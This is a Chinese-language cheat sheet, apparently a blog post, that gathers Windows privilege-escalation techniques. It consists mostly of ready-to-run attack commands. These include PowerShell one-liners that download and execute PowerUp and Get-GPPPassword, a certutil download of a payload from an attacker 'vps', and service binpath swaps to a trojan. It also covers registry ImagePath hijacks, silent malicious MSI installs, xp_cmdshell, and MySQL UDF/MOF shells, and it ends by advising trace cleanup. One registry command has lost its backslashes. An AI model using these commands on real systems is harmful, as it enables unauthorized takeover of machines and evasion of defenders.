史上最全windows提权手法总结,这都不看?
字数 1439 2025-08-15 21:33:10
Windows提权手法全面指南
1. 提权概述
Windows提权主要分为两种类型:
- 纵向提权:低权限角色获得高权限角色的权限(最常见)
- 横向提权:获取同级别角色的权限
常用提权方法包括:
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- 窃取令牌提权
- BypassUAC提权
- 第三方软件/服务提权
- WEB中间件漏洞提权
2. 系统内核溢出漏洞提权
2.1 原理
利用系统未修补的内核溢出漏洞,通过对比systeminfo信息中的补丁信息查找缺失补丁号,再寻找对应版本的exp进行提权。
2.2 查找缺失补丁方法
手工查找:
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
使用工具:
- MSF后渗透模块:
post/windows/gather/enum_patches post/multi/recon/local_exploit_suggester - Windows Exploit Suggester:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
- PowerShell中的Sherlock脚本:
Import-Module C:\Sherlock.ps1 Find-AllVulns - Empire框架:
usemodule privesc/powerup/allchecks execute
2.3 常用漏洞资源
- https://github.com/SecWiki/windows-kernel-exploits
- https://bugs.hacking8.com/tiquan/
- https://github.com/Heptagrams/Heptagram
- https://www.exploit-db.com/
- https://i.hacking8.com/tiquan/
3. 系统配置错误提权
3.1 错误权限配置
原理:当低权限用户对高权限服务调用的可执行文件有写权限时,可替换该文件获得系统权限。
查找方法:
- PowerUp脚本:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks" - MSF模块:
run exploit/windows/local/service_permissions - 手工检查:
icacls "C:\Program Files" icacls "C:\Program Files\Common Files" accesschk.exe -dqv "D:\test" -accepteula sc qc 服务名
利用方法:
sc config 服务名 binpath = "木马程序.exe"
sc stop 服务名
sc start 服务名
3.2 计划任务提权
原理:当低权限用户对计划任务所在目录有写权限时,可替换计划任务执行的脚本或程序。
查找方法:
schtasks /query /fo LIST 2>nul
或PowerShell:
Get-ScheduledTask | Select TaskPath -notlike "\Microsoft\Windows\*"
利用方法:
certutil -urlcache -split -f "http://vps/1111.exe" C:\ScheduledTasks\Task1\1111.exe
3.3 可信任服务路径漏洞
原理:当服务可执行文件路径包含空格且未被引号包围时,Windows会尝试按空格分割路径执行程序。
查找方法:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
利用方法:
在路径空格前放置恶意程序,如将木马命名为Program.exe放在C盘根目录。
3.4 不安全的注册表权限配置
原理:当低权限用户对服务注册表项有写权限时,可修改服务配置。
检查方法:
subinacl.exe /key reg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名" /display
利用方法:
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f
3.5 AlwaysInstallElevated注册表键
原理:启用此策略后,任何用户都能以SYSTEM权限运行MSI安装文件。
检查方法:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
利用方法:
msiexec /quiet /qn /i muma.msi
4. 组策略首选项提权
原理:组策略首选项可能存储加密的凭据,这些凭据可被解密。
利用方法:
- PowerShell:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword - MSF:
run post/windows/gather/credentials/gpp - Kali:
gpp-decrypt
5. BypassUAC提权
原理:绕过用户账户控制(UAC)的限制执行高权限操作。
常用方法:
- MSF模块:
exploit/windows/local/ask exploit/windows/local/bypassuac exploit/windows/local/bypassuac_injection exploit/windows/local/bypassuac_fodhelper exploit/windows/local/bypassuac_eventvwr exploit/windows/local/bypassuac_comhijack - PowerShell:
Invoke-PsUACme
6. 令牌窃取提权
原理:利用系统令牌进行权限提升。
方法:
- MSF:
use incognito list_tokens -u impersonate_token "令牌名" - 土豆系列工具:
- RottenPotato(烂土豆)
- SweetPotato(甜土豆)
7. 数据库提权
7.1 MSSQL提权
启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
exec master..xp_cmdshell "whoami"
7.2 MySQL提权
MOF提权:
select load_file("hacker.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
UDF提权:
create function cmd_shell returns string soname 'udf.dll';
select cmd_shell('命令');
drop function cmd_shell;
8. 其他提权方法
- 查找高权限运行的用户、服务、软件
- 进程注入
- DLL劫持
- 社工手段
关键点总结:
- 信息收集是基础(补丁、配置、服务等)
- 根据环境选择合适的提权方法
- 多种方法组合使用提高成功率
- 提权后注意权限维持和痕迹清理